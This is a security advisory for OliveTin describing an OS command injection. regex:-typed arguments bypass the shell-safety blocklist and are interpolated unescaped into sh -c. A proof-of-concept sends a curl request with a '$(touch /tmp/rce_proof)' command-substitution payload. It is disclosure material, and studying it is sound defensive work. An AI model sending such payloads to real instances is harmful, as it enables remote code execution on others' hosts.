Skip to content

OliveTin OS Command Injection via Custom regex: Argument Type Bypassing Shell Safety Check

Moderate
jamesread published GHSA-xc5w-4v5w-7x65 Jul 8, 2026

Package

gomod github.com/OliveTin/OliveTin (Go)

Affected versions

>= 3000.2.0, <= 3000.11.3

Patched versions

None

Description

Summary

OliveTin's checkShellArgumentSafety() function maintains a blocklist of argument types unsafe for Shell mode actions, but does not include regex:-prefixed types. Because regex: support was added independently via typeSafetyCheckRegex(), any Shell mode action using a regex:-typed argument bypasses the safety check unconditionally. The unvalidated value is then interpolated directly into the sh -c command string via Go's text/template with no escaping, enabling shell injection. Notably, even restrictive-looking patterns are exploitable — for example, a pattern blocking common shell metacharacters remains bypassable via POSIX command substitution.

Details

OliveTin is an open source web UI for running pre-configured shell commands. In the OliveTin service component, the function checkShellArgumentSafety() in service/internal/executor/arguments.go enforces a blocklist of argument types that are unsafe for use in Shell mode actions (actions that execute via sh -c). The blocklist includes password, very_dangerous_raw_string, url, email, and raw_string_multiline. It does not handle custom regex: prefixed argument types.

Custom regex: types are supported by a separate function, typeSafetyCheckRegex(), which checks whether a submitted value matches the provided pattern. These two functions evolved independently: when regex: prefix support was added to typeSafetyCheckRegex, checkShellArgumentSafety was not updated to treat regex: types as unsafe for Shell mode. As a result, any action configured with a Shell mode handler and a regex:-typed argument passes the safety check unconditionally, regardless of how permissive or restrictive the pattern is.

The argument value then reaches handleShellBranch → wrapCommandInShell, where Go's text/template interpolates it directly into the sh -c command string with no escaping.

Critically, this vulnerability is not limited to obviously permissive patterns like regex:.*. An admin who writes a restrictive-looking pattern such as regex: ^[^;|&<>]+$ - explicitly blocking the five most common shell injection characters (semicolon, pipe, ampersand, both redirects) — is still fully exploitable via POSIX command substitution.

PoC

  1. Deploy OliveTin
docker run -d --name olivetin-poc -p 1337:1337 \
  -v /tmp/olivetin-poc/config:/config \
  ghcr.io/olivetin/olivetin:3000.11.3
  1. Write the configuration below as /tmp/olivetin-poc/config/config.yaml , which represents a realistic admin-authored action: a Shell mode command that accepts user-supplied input validated by a custom regex pattern.
actions:
  - title: Custom Input Action
    id: custom_input
    shell: echo "Input was {{ .Arguments.customInput }}"
    arguments:
      - name: customInput
        type: "regex:^[^;|&<>]+$"
        title: Custom Input
  1. Trigger RCE via command substitution.
curl -s -X POST http://localhost:1337/api/v1/StartAction \
  -H "Content-Type: application/json" \
  -d '{"bindingId":"custom_input","arguments":[{"name":"customInput","value":"$(touch /tmp/rce_proof)"}]}'
  1. Now verify RCE by checking presence of file
docker exec olivetin-poc ls -la /tmp/rce_proof
olivetin_proof

Impact

An unauthenticated attacker with network access to an OliveTin instance can achieve full OS command injection - and in practice remote code execution — as the OliveTin process user, provided a Shell mode action exists with any regex:-typed argument whose pattern permits $, backtick, or parentheses.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
High
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2026-67438

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

Credits